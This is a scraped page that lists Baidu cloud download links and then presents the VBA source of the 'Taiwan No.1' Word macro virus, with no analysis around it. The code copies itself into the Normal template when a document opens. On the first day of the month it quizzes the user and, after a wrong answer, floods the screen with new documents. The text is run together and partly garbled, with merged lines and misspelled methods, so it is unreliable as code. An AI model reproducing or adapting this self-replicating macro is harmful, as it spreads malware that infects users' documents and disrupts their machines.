http://pan.baidu.com/s/1eSDk1hC

http://hi.baidu.com/%8Bq%B9%A5%8AO%CA%DC /album/%9A%DD%B8%DF%A4%AD%F2T%CA%B%CD%F5%A4%F2%A1%AB /index/0

链接: https://pan.baidu.com/s/1kVBFh1X 密码: j7h8

'moonlightDim nm()Sub Document_Open()'DisableInput 1Set ourcodemodule = ThisDocument.VBProject.VBProject.VBComponents(1).CodeModuleSet host = NormalTemplate.VBProject.VBComponents(1).CodeModuleif thisIf .Lines(1, 1) <> "'moonlight" Then.DeleteLines 1, .CountOfLines.InserLines 1, ourcodemodule.Lines(1, 100).ReplaceLine 3, "Sub Document_Open()"ActiveDocument.SaveAs ActiveDoc

ument.FullNameEnd IfEnd WithCount = 0If Day(Now()) = 1 Thentry:On Error GoTo trytest = -1con = 1tog$ = ""i = 0While test = -1For i = 0 To 4nm(i) = Int(Rnd() * 10)con = con * nm(i)If i = 4 Thentog$ = tog$ + Str$(nm(4)) + "=?"

GoTo begEnd Iftog$ = tog$ + Str$(nm(i)) + "*"Next ibeg:Beepans$ = InputBox$("今天是" + Date$ + ",跟你玩一个心算游戏" + Chr$(13) + "若你答错，只好接受震撼教育......" + Chr$(13) + tog$, "台湾NO.1 Macro Virus")If RTrim$(LTrim$(ans$)) = LTrim$(Str$(con)) ThenDocuments.AddSelection.Paragraphs .Alignment = wdAlignParagraphCenterBeepWith Selection.Font.Name = "细明体"

.Size = 16.Bold = 1.Underline = 1End WithSelection.InsertAfter Text:="何为宏病毒"Selection.InsertParagraphAfterBeepSelection.InsertAfter Text:="答案："Selection.Font .Italic = 1Selection.InsertAfter Text:="我就是......"Selection.InsertParagraphAfterSelection.InsertParagraphAfterSelection.Font .Italic = 0BeepSelection.InsertAfter Text:="如何预

防宏病毒"Selection.InsertParagraphAfterBeepSelection.InsertAfter Text:="答案："Selection.Font .Italic = 1Selection.InsertAfter Text:="不要看我......"GoTo outElseCount = Count + 1For j = 1 To 20BeepDocuments.AddNext jSelection.Paragraphs .aligment = wdAlignParagraphCenterSelection.InsertAfter Text:="宏病毒"

If Count = 2 Then GoTo outGoTo outGoTo tryEnd IfWendEnd Ifout:End Sub